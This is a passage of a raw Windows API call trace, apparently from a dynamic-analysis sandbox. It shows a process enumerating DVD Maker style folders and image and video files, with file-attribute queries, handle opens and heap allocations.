lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fa69c7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fa69c7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightBlueRectangle.PNG", cAlternateFileName="")) returned 1 [0066.352] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MainMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0066.352] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7103ef3b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7103ef3b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf63, dwReserved0=0x0, dwReserved1=0x0, cFileName="navSubpicture.png", cAlternateFileName="")) returned 1 [0066.352] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_leftarrow.png", cAlternateFileName="")) returned 1 [0066.352] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ff2c81, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ff2c81, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_rightarrow.png", cAlternateFileName="")) returned 1 [0066.352] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 1 [0066.352] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 0 [0066.352] GetLastError () returned 0x12 [0066.352] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb86a8) returned 1 [0066.352] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0066.353] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfbaf30) returned 1 [0066.353] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0066.353] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyGirl", cAlternateFileName="")) returned 1 [0066.353] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0066.353] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0066.353] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0066.354] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0066.354] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfbd510 [0066.354] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfbd510, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfbd510, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0066.354] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfbd510) returned 1 [0066.354] NtClose (Handle=0x148) returned 0x0 [0066.354] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0066.354] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0066.354] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb86a8 [0066.354] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.354] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0066.422] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.423] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xab3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0066.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.423] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.423] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbaf30 [0066.423] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb86a8) returned 1 [0066.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbd088 [0066.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbc1c0 [0066.423] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.423] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0066.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.423] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.423] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbd0a8 [0066.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbc2c8 [0066.423] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.423] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7287ed72, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7287ed72, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0066.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.423] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.424] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbd0c8 [0066.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbc3d0 [0066.424] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.424] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72832ab8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72832ab8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4c15, dwReserved0=0x0, dwReserved1=0x0, cFileName="babypink.png", cAlternateFileName="")) returned 1 [0066.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.424] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.424] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbd0e8 [0066.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbc4d8 [0066.424] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.424] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728a4ecf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728a4ecf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0066.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.424] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.424] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbd108 [0066.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbc5e0 [0066.424] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.424] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728cb02c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728cb02c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fe5c4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c432, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_matte2.wmv", cAlternateFileName="")) returned 1 [0066.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.425] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.425] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbd128 [0066.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbc6e8 [0066.425] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.425] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728f1189, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728f1189, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a058069, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_MATTE2_PAL.wmv", cAlternateFileName="")) returned 1 [0066.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.425] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.425] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbd148 [0066.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbc7f0 [0066.425] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.425] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729172e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729172e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a351bc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39ef2, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_rgb6.wmv", cAlternateFileName="")) returned 1 [0066.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.425] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.425] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbd168 [0066.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbc8f8 [0066.425] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.426] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729635a0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729635a0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_RGB6_PAL.wmv", cAlternateFileName="")) returned 1 [0066.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbd188 [0066.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbca00 [0066.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.426] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0066.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbd1a8 [0066.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbcb08 [0066.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.426] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0066.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbd1c8 [0066.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbd528 [0066.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.427] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0066.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbd1e8 [0066.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbd630 [0066.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.427] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75d, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0066.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbd208 [0066.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbd738 [0066.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.427] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x55f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chapters-static.png", cAlternateFileName="")) returned 1 [0066.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.427] RtlAllocateHeap (HeapHandle=0xf70000, 